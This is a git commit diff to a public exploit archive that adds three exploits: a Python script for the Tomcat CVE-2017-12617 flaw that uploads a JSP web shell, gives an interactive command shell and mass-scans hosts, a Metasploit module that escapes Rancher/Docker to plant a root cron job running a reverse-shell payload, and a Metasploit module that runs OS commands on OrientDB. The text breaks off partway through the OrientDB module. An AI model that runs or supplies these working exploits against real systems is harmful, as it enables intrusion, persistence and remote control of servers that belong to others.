DB: 2017-10-10
3 new exploits Rancher Server - Docker Daemon Code Execution (Metasploit) OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit) Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution
This commit is contained in:
parent
99ad37a918
commit
b49ee665d7
4 changed files with 705 additions and 0 deletions
|
@ -15894,6 +15894,8 @@ id,file,description,date,author,platform,type,port
|
||||||
42949,platforms/linux/remote/42949.txt,"UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Unauthenticated Root Remote Code Execution",2017-10-02,agix,linux,remote,0
|
42949,platforms/linux/remote/42949.txt,"UCOPIA Wireless Appliance < 5.1 (Captive Portal) - Unauthenticated Root Remote Code Execution",2017-10-02,agix,linux,remote,0
|
||||||
42952,platforms/windows/remote/42952.py,"ERS Data System 1.8.1 - Java Deserialization",2017-09-21,"West Shepherd",windows,remote,0
|
42952,platforms/windows/remote/42952.py,"ERS Data System 1.8.1 - Java Deserialization",2017-09-21,"West Shepherd",windows,remote,0
|
||||||
42958,platforms/linux/remote/42958.py,"Unitrends UEB 9.1 - Authentication Bypass / Remote Command Execution",2017-08-08,"Jared Arave",linux,remote,0
|
42958,platforms/linux/remote/42958.py,"Unitrends UEB 9.1 - Authentication Bypass / Remote Command Execution",2017-08-08,"Jared Arave",linux,remote,0
|
||||||
|
42964,platforms/lin_x86-64/remote/42964.rb,"Rancher Server - Docker Daemon Code Execution (Metasploit)",2017-10-09,Metasploit,lin_x86-64,remote,8080
|
||||||
|
42965,platforms/multiple/remote/42965.rb,"OrientDB 2.2.2 - 2.2.22 - Remote Code Execution (Metasploit)",2017-10-09,Metasploit,multiple,remote,2480
|
||||||
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) + execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
|
||||||
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
|
||||||
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
13242,platforms/bsd/shellcode/13242.txt,"BSD - Reverse TCP /bin/sh Shell (127.0.0.1:31337/TCP) Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
|
||||||
|
@ -38660,3 +38662,4 @@ id,file,description,date,author,platform,type,port
|
||||||
42956,platforms/hardware/webapps/42956.txt,"NETGEAR ReadyNAS Surveillance 1.4.3-16 - Remote Command Execution",2017-09-27,"Kacper Szurek",hardware,webapps,0
|
42956,platforms/hardware/webapps/42956.txt,"NETGEAR ReadyNAS Surveillance 1.4.3-16 - Remote Command Execution",2017-09-27,"Kacper Szurek",hardware,webapps,0
|
||||||
42959,platforms/php/webapps/42959.py,"Unitrends UEB 9.1 - Privilege Escalation",2017-08-08,"Jared Arave",php,webapps,0
|
42959,platforms/php/webapps/42959.py,"Unitrends UEB 9.1 - Privilege Escalation",2017-08-08,"Jared Arave",php,webapps,0
|
||||||
42961,platforms/ruby/webapps/42961.txt,"Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery",2017-08-30,"Dhiraj Mishra",ruby,webapps,0
|
42961,platforms/ruby/webapps/42961.txt,"Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery",2017-08-30,"Dhiraj Mishra",ruby,webapps,0
|
||||||
|
42966,platforms/jsp/webapps/42966.py,"Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upload Bypass / Remote Code Execution",2017-10-09,intx0x80,jsp,webapps,0
|
||||||
|
|
Can't render this file because it is too large.
|
212
platforms/jsp/webapps/42966.py
Executable file
212
platforms/jsp/webapps/42966.py
Executable file
|
@ -0,0 +1,212 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
import signal
|
||||||
|
from optparse import OptionParser
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class bcolors:
|
||||||
|
HEADER = '\033[95m'
|
||||||
|
OKBLUE = '\033[94m'
|
||||||
|
OKGREEN = '\033[92m'
|
||||||
|
WARNING = '\033[93m'
|
||||||
|
FAIL = '\033[91m'
|
||||||
|
ENDC = '\033[0m'
|
||||||
|
BOLD = '\033[1m'
|
||||||
|
UNDERLINE = '\033[4m'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
banner="""
|
||||||
|
|
||||||
|
|
||||||
|
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||||
|
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||||
|
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||||
|
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||||
|
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||||
|
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
[@intx0x80]
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def signal_handler(signal, frame):
|
||||||
|
|
||||||
|
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
|
||||||
|
|
||||||
|
exit()
|
||||||
|
|
||||||
|
signal.signal(signal.SIGINT, signal_handler)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def removetags(tags):
|
||||||
|
remove = re.compile('<.*?>')
|
||||||
|
txt = re.sub(remove, '\n', tags)
|
||||||
|
return txt.replace("\n\n\n","\n")
|
||||||
|
|
||||||
|
|
||||||
|
def getContent(url,f):
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||||
|
re=requests.get(str(url)+"/"+str(f), headers=headers)
|
||||||
|
return re.content
|
||||||
|
|
||||||
|
def createPayload(url,f):
|
||||||
|
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||||
|
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
|
||||||
|
if req.status_code==201:
|
||||||
|
print "File Created .."
|
||||||
|
|
||||||
|
|
||||||
|
def RCE(url,f):
|
||||||
|
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
|
||||||
|
<INPUT name='cmd' type=text>
|
||||||
|
<INPUT type=submit value='Run'>
|
||||||
|
</FORM>
|
||||||
|
<%@ page import="java.io.*" %>
|
||||||
|
<%
|
||||||
|
String cmd = request.getParameter("cmd");
|
||||||
|
String output = "";
|
||||||
|
if(cmd != null) {
|
||||||
|
String s = null;
|
||||||
|
try {
|
||||||
|
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||||||
|
BufferedReader sI = new BufferedReader(new
|
||||||
|
InputStreamReader(p.getInputStream()));
|
||||||
|
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||||||
|
} catch(IOException e) { e.printStackTrace(); }
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<pre><%=output %></pre>"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||||
|
|
||||||
|
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
def shell(url,f):
|
||||||
|
|
||||||
|
while True:
|
||||||
|
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
|
||||||
|
cmd=raw_input("$ ")
|
||||||
|
payload={'cmd':cmd}
|
||||||
|
if cmd=="q" or cmd=="Q":
|
||||||
|
break
|
||||||
|
|
||||||
|
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
|
||||||
|
re=str(re.content)
|
||||||
|
t=removetags(re)
|
||||||
|
print t
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#print bcolors.HEADER+ banner+bcolors.ENDC
|
||||||
|
|
||||||
|
parse=OptionParser(
|
||||||
|
|
||||||
|
|
||||||
|
bcolors.HEADER+"""
|
||||||
|
|
||||||
|
|
||||||
|
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
|
||||||
|
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
|
||||||
|
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
|
||||||
|
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
|
||||||
|
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
|
||||||
|
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
./cve-2017-12617.py [options]
|
||||||
|
|
||||||
|
options:
|
||||||
|
|
||||||
|
-u ,--url [::] check target url if it's vulnerable
|
||||||
|
-p,--pwn [::] generate webshell and upload it
|
||||||
|
-l,--list [::] hosts list
|
||||||
|
|
||||||
|
[+]usage:
|
||||||
|
|
||||||
|
./cve-2017-12617.py -u http://127.0.0.1
|
||||||
|
./cve-2017-12617.py --url http://127.0.0.1
|
||||||
|
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
|
||||||
|
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
|
||||||
|
./cve-2017-12617.py -l hotsts.txt
|
||||||
|
./cve-2017-12617.py --list hosts.txt
|
||||||
|
|
||||||
|
|
||||||
|
[@intx0x80]
|
||||||
|
|
||||||
|
"""+bcolors.ENDC
|
||||||
|
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
|
||||||
|
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
|
||||||
|
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
|
||||||
|
|
||||||
|
(opt,args)=parse.parse_args()
|
||||||
|
|
||||||
|
if opt.U==None and opt.P==None and opt.L==None:
|
||||||
|
print(parse.usage)
|
||||||
|
exit(0)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
else:
|
||||||
|
if opt.U!=None and opt.P==None and opt.L==None:
|
||||||
|
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||||
|
url=str(opt.U)
|
||||||
|
checker="Poc.jsp"
|
||||||
|
print bcolors.BOLD +"Poc Filename {}".format(checker)
|
||||||
|
createPayload(str(url)+"/",checker)
|
||||||
|
con=getContent(str(url)+"/",checker)
|
||||||
|
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||||
|
print bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC
|
||||||
|
print bcolors.WARNING+url+"/"+checker+bcolors.ENDC
|
||||||
|
|
||||||
|
else:
|
||||||
|
print 'Not Vulnerable to CVE-2017-12617 '
|
||||||
|
elif opt.P!=None and opt.U!=None and opt.L==None:
|
||||||
|
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||||
|
pwn=str(opt.P)
|
||||||
|
url=str(opt.U)
|
||||||
|
print "Uploading Webshell ....."
|
||||||
|
pwn=pwn+".jsp"
|
||||||
|
RCE(str(url)+"/",pwn)
|
||||||
|
shell(str(url),pwn)
|
||||||
|
elif opt.L!=None and opt.P==None and opt.U==None:
|
||||||
|
print bcolors.OKGREEN+banner+bcolors.ENDC
|
||||||
|
w=str(opt.L)
|
||||||
|
f=open(w,"r")
|
||||||
|
print "Scaning hosts in {}".format(w)
|
||||||
|
checker="Poc.jsp"
|
||||||
|
for i in f.readlines():
|
||||||
|
i=i.strip("\n")
|
||||||
|
createPayload(str(i)+"/",checker)
|
||||||
|
con=getContent(str(i)+"/",checker)
|
||||||
|
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||||
|
print str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m"
|
234
platforms/lin_x86-64/remote/42964.rb
Executable file
234
platforms/lin_x86-64/remote/42964.rb
Executable file
|
@ -0,0 +1,234 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Rancher Server - Docker Exploit',
|
||||||
|
'Description' => %q(
|
||||||
|
Utilizing Rancher Server, an attacker can create a docker container
|
||||||
|
with the '/' path mounted with read/write permissions on the host
|
||||||
|
server that is running the docker container. As the docker container
|
||||||
|
executes command as uid 0 it is honored by the host operating system
|
||||||
|
allowing the attacker to edit/create files owed by root. This exploit
|
||||||
|
abuses this to creates a cron job in the '/etc/cron.d/' path of the
|
||||||
|
host server.
|
||||||
|
|
||||||
|
The Docker image should exist on the target system or be a valid image
|
||||||
|
from hub.docker.com.
|
||||||
|
|
||||||
|
Use `check` with verbose mode to get a list of exploitable Rancher
|
||||||
|
Hosts managed by the target system.
|
||||||
|
),
|
||||||
|
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'
|
||||||
|
],
|
||||||
|
'Platform' => 'linux',
|
||||||
|
'Arch' => [ARCH_X64],
|
||||||
|
'Payload' => { 'Space' => 65000 },
|
||||||
|
'Targets' => [[ 'Linux', {} ]],
|
||||||
|
'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' },
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Jul 27, 2017'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]),
|
||||||
|
OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]),
|
||||||
|
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]),
|
||||||
|
OptString.new('CONTAINER_ID', [ false, 'container id you would like']),
|
||||||
|
OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']),
|
||||||
|
OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
register_advanced_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
|
||||||
|
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def del_container(rancher_container_id, container_id)
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'DELETE',
|
||||||
|
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'headers' => { 'Accept' => 'application/json' }
|
||||||
|
)
|
||||||
|
|
||||||
|
return vprint_good('The docker container has been removed.') if res && res.code == 200
|
||||||
|
|
||||||
|
print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_container_id
|
||||||
|
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
|
||||||
|
|
||||||
|
rand_text_alpha_lower(8)
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_cmd(mnt_path, cron_path, payload_path)
|
||||||
|
vprint_status('Creating the docker container command')
|
||||||
|
echo_cron_path = mnt_path + cron_path
|
||||||
|
echo_payload_path = mnt_path + payload_path
|
||||||
|
|
||||||
|
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
|
||||||
|
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
|
||||||
|
command << "echo \"\" >> #{echo_cron_path} \&\& "
|
||||||
|
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
|
||||||
|
|
||||||
|
command
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_container(mnt_path, cron_path, payload_path, container_id)
|
||||||
|
vprint_status('Setting container json request variables')
|
||||||
|
{
|
||||||
|
'instanceTriggeredStop' => 'stop',
|
||||||
|
'startOnCreate' => true,
|
||||||
|
'networkMode' => 'managed',
|
||||||
|
'requestedHostId' => datastore['TARGETHOST'],
|
||||||
|
'type' => 'container',
|
||||||
|
'dataVolumes' => [ '/:' + mnt_path ],
|
||||||
|
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
|
||||||
|
'name' => container_id,
|
||||||
|
'command' => make_cmd(mnt_path, cron_path, payload_path),
|
||||||
|
'entryPoint' => %w[sh -c]
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path),
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'headers' => { 'Accept' => 'application/json' }
|
||||||
|
)
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
print_error('Failed to connect to the target')
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
|
||||||
|
print_error('Authorization is required. Provide valid Rancher API Keys.')
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
|
||||||
|
target_found = false
|
||||||
|
target_selected = false
|
||||||
|
|
||||||
|
environments = JSON.parse(res.body)['data']
|
||||||
|
environments.each do |e|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'headers' => { 'Accept' => 'application/json' }
|
||||||
|
)
|
||||||
|
|
||||||
|
hosts = JSON.parse(res.body)['data']
|
||||||
|
hosts.each do |h|
|
||||||
|
target_found = true
|
||||||
|
result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
|
||||||
|
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
|
||||||
|
|
||||||
|
# flag results when this host is targeted via options
|
||||||
|
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
|
||||||
|
target_selected = true
|
||||||
|
vprint_good(result + ' %red<-- targeted%clr')
|
||||||
|
else
|
||||||
|
vprint_good(result)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if target_found
|
||||||
|
return Exploit::CheckCode::Vulnerable if target_selected
|
||||||
|
|
||||||
|
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
|
||||||
|
if datastore['VERBOSE'] == false
|
||||||
|
print_bad('Try verbose mode to know what happened.')
|
||||||
|
end
|
||||||
|
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
else
|
||||||
|
print_bad('No TARGETHOST available')
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless check == Exploit::CheckCode::Vulnerable
|
||||||
|
fail_with(Failure::Unknown, 'Failed to connect to the target')
|
||||||
|
end
|
||||||
|
|
||||||
|
# create required information to create json container information
|
||||||
|
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
||||||
|
payload_path = '/tmp/' + rand_text_alpha(8)
|
||||||
|
mnt_path = '/mnt/' + rand_text_alpha(8)
|
||||||
|
container_id = make_container_id
|
||||||
|
|
||||||
|
# deploy docker container
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'headers' => { 'Accept' => 'application/json' },
|
||||||
|
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
|
||||||
|
)
|
||||||
|
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
|
||||||
|
|
||||||
|
print_good('The docker container is created, waiting for it to deploy')
|
||||||
|
|
||||||
|
# cleanup
|
||||||
|
register_files_for_cleanup(cron_path, payload_path)
|
||||||
|
|
||||||
|
rancher_container_id = JSON.parse(res.body)['id']
|
||||||
|
deleted_container = false
|
||||||
|
|
||||||
|
sleep_time = 5
|
||||||
|
wait_time = datastore['WAIT_TIMEOUT']
|
||||||
|
vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
|
||||||
|
|
||||||
|
while wait_time > 0
|
||||||
|
sleep(sleep_time)
|
||||||
|
wait_time -= sleep_time
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
|
||||||
|
'ctype' => 'application/json',
|
||||||
|
'headers' => { 'Accept' => 'application/json' }
|
||||||
|
)
|
||||||
|
next unless res && res.code == 200 && res.body.include?('stopped')
|
||||||
|
|
||||||
|
vprint_good('The docker container has stopped, now trying to remove it')
|
||||||
|
del_container(rancher_container_id, container_id)
|
||||||
|
deleted_container = true
|
||||||
|
wait_time = 0
|
||||||
|
end
|
||||||
|
|
||||||
|
# if container does not deploy, try to remove it and fail out
|
||||||
|
unless deleted_container
|
||||||
|
del_container(rancher_container_id, container_id)
|
||||||
|
fail_with(Failure::Unknown, "The docker container failed to start")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status('Waiting for the cron job to run, can take up to 60 seconds')
|
||||||
|
end
|
||||||
|
end
|
256
platforms/multiple/remote/42965.rb
Executable file
256
platforms/multiple/remote/42965.rb
Executable file
|
@ -0,0 +1,256 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'OrientDB 2.2.x Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
|
||||||
|
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
|
||||||
|
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
|
||||||
|
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
|
||||||
|
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
|
||||||
|
],
|
||||||
|
'Platform' => %w{ linux unix win },
|
||||||
|
'Privileged' => false,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
|
||||||
|
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
|
||||||
|
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jul 13 2017',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(2480),
|
||||||
|
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
|
||||||
|
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
uri = target_uri
|
||||||
|
uri.path = normalize_uri(uri.path)
|
||||||
|
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
|
||||||
|
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
|
||||||
|
print_good("Version: #{res.headers['Server']}")
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
else
|
||||||
|
print_status("Version: #{res.headers['Server']}")
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def http_send_command(cmd, opts = {})
|
||||||
|
# 1 -Create the malicious function
|
||||||
|
func_name = Rex::Text::rand_text_alpha(5).downcase
|
||||||
|
request_parameters = {
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
|
||||||
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
|
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||||
|
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
|
||||||
|
}
|
||||||
|
res = send_request_raw(request_parameters)
|
||||||
|
if not (res and res.code == 201)
|
||||||
|
begin
|
||||||
|
json_body = JSON.parse(res.body)
|
||||||
|
rescue JSON::ParserError
|
||||||
|
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# 2 - Trigger the malicious function
|
||||||
|
request_parameters = {
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
|
||||||
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
|
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
|
||||||
|
'data' => ""
|
||||||
|
}
|
||||||
|
req = send_request_raw(request_parameters)
|
||||||
|
if not (req and req.code == 200)
|
||||||
|
begin
|
||||||
|
json_body = JSON.parse(res.body)
|
||||||
|
rescue JSON::ParserError
|
||||||
|
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
# 3 - Get the malicious function id
|
||||||
|
if res && res.body.length > 0
|
||||||
|
begin
|
||||||
|
json_body = JSON.parse(res.body)["@rid"]
|
||||||
|
rescue JSON::ParserError
|
||||||
|
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
func_id = json_body.slice(1..-1)
|
||||||
|
# 4 - Delete the malicious function
|
||||||
|
request_parameters = {
|
||||||
|
'method' => 'DELETE',
|
||||||
|
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
|
||||||
|
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
|
||||||
|
'headers' => { 'Accept' => '*/*' },
|
||||||
|
'data' => ""
|
||||||
|
}
|
||||||
|
rer = send_request_raw(request_parameters)
|
||||||
|
if not (rer and rer.code == 204)
|
||||||
|
begin
|
||||||
|
json_body = JSON.parse(res.body)
|
||||||
